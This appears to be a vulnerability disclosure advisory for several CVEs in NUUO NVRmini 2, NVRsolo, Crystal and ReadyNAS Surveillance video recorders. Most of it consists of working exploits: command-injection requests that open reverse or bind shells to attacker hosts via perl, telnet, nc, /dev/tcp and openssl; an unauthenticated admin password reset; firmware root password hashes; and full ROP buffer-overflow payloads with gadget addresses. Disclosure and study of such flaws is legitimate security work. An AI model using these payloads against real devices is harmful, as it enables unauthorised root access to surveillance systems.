Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5674 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
The web inteface contains a hidden file named __debugging_center_utils___.php that improperly sanitises input to the log parameter, which is passed to the PHP system() call (snippet below):
function print_file($file_fullpath_name) { $cmd = "cat " . $file_fullpath_name; echo $file_fullpath_name . "\n\n"; system($cmd); }
The file can be accessed by an unauthenticated user, and code execution can be achieved with the following proofs of concept: - ReadyNAS Surveillance: GET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b$~->fdopen($c,w)%3bsystem$_+while<>%3b' This will connect a shell back to 192.168.1.204 on port 9000, running as the "admin" user.
- NVRmini 2 and NVRsolo: GET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998 This will connect two shells to 192.168.1.204, one on port 9999 and another on port 9998. To execute commands, echo into the 9999 shell, and receive the output on the 9998 shell. Commands will run as the root user.
2
Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5675 Attack Vector: Remote Constraints: Requires an administrator account Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
The handle_daylightsaving.php page does not sanitise input from the NTPServer parameter correctly and passes it to a PHP system() command (code snippet below): else if ($act == 'update') { $cmd = sprintf("/usr/bin/ntpdate %s", $_GET['NTPServer']);
$find_str = "time server";
$sys_msg = system($cmd);
$pos = strpos($sys_msg, $find_str);
The file can only be accessed by an authenticted user. - ReadyNAS Surveillance: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3b+whoami+>+/tmp/test This will create a /tmp/test file with the contents of "admin" (current user).
-
NVRmini 2 and NVRsolo: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204+9000+>/tmp/f Connects a shell to 192.168.1.204, port 9000, running as root.
-
Crystal: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i+>%26+/dev/tcp/192.168.1.204/4444+0>%26 Connects a shell to 192.168.1.204, port 4444, running as root.
3
Vulnerability: Administrator password reset CVE-2016-5676 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
On older versions of the firmware and in the ReadyNAS Surveillance application unauthenticated users can call the cgi_system binary from the web interface. This binary performs a number of sensitive system commands, such as the loading of the default configuration that resets the administrator password. It seems that at least versions 2.2.1 and 3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this vulnerability was fixed either on these or earlier versions, but ReadyNAS Surveillance is still vulnerable.
Proof of concept: GET /cgi-bin/cgi_system?cmd=loaddefconfig
This will reset the admin password of the web interface to admin or password (depending on the firmware version) on all affected devices.
4
Vulnerability: Information disclosure (system processes, available memory and filesystem status) CVE-2016-5677 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
The web interface contains a hidden page (__nvr_status___.php) with a hardcoded username and password that lists the current system processes, available memory and filesystem status. These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices.
NVRmini 2: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::
NVRsolo: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::
6
Vulnerability: Command injection in cgi_main transfer license command CVE-2016-5679 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user Affected products / versions: - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)
The transfer_license command has a command injection vulnerability in the "sn" parameter: cgi_main?cmd=transfer_license&method=offline&sn=";;#
Sample exploit for NVRmini2 (open bind shell on port 4444): GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23
NETGEAR Surveillance doesn't have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bmkfifo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23
Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2.
7
Vulnerability: Stack buffer overflow in cgi_main transfer license command CVE-2016-5680 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)
The "sn" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the "sn" parameter is copied directly into a string with a fixed length of 128 characters.
Function 0x20BC9C (NVRmini2 firmware v3.0.0): method = getval("method"); sn = getval("sn"); (...) memset(&command, 0, 128); sprintf(&command, "logger -p local0.info -t 'system' \"Activate license: %s\"", sn); system(&command);
For example if the following request is performed: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
A core file is generated: Core was generated by `/NUUO/bin/cgi_main'. Program terminated with signal SIGSEGV, Segmentation fault.
0 0x61616160 in ?? ()
(gdb) i r r0 0x0 0 r1 0x0 0 r2 0x407aa4d0 1081779408 r3 0x407aa9e0 1081780704 r4 0x61616161 1633771873 r5 0x61616161 1633771873 r6 0x61616161 1633771873 r7 0x61616161 1633771873 r8 0x331fc8 3350472 r9 0x1 1 r10 0x33db54 3398484 r11 0x0 0 r12 0x1 1 sp 0xbedce528 0xbedce528 lr 0x61616161 1633771873 pc 0x61616160 0x61616160 cpsr 0x60000030 1610612784 (gdb)
The request can be sent by an HTTP GET or POST method.
A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
aaaa: filler PPPP: pc / lr register content, offset 976 4444: r4 register content, offset 962 5555: r5 register content, offset 966 6666: r6 register content, offset 970 7777: r7 register content, offset 974 SSSS: start of stack pointer, offset 992
On the ReadyNAS Surveillance one additional register (r8) can be controlled: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
aaaa: filler PPPP: pc / lr register content, offset 986 4444: r4 register content, offset 968 5555: r5 register content, offset 970 6666: r6 register content, offset 974 7777: r7 register content, offset 978 8888: r8 register content, offset 982 SSSS: start of stack pointer, offset 1002
Exploit mitigations and constraints The table below shows the exploit mitigation technologies for each target: NVRmini2 ReadyNAS NX Y Y RELRO Partial Partial ASLR N Y
An additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator).
Exploitation in the NVRmini2 (firmware v3.0.0): This example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0.
0x00018ba0 : pop {r3, lr} ; bx lr -> located at 40684BA0 (first gadget, sets up r3 for the next gadget) 0x000f17cc : mov r0, sp ; blx r3 -> located at 4075D7CC (second gadget, set up args for system) 0x00039ffc : system() -> located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it) Payload (in the stack) -> %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 ("nc -l -p 4444 -e /bin/sh &")
Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack}
Exploit for NVRmini2 firmware v3.0.0 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26
Other firmware versions will have different gadget addresses. On version 3.0.0 it should work without any modification.
Exploitation on ReadyNAS Surveillance (version v1.1.2): To develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses).
The exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used: 0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -> located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1) 0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -> located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0) 0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it) Payload: (in the stack) -> %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 ("mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.133.204:4444 > /tmp/s; rm /tmp/s &")
Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload}
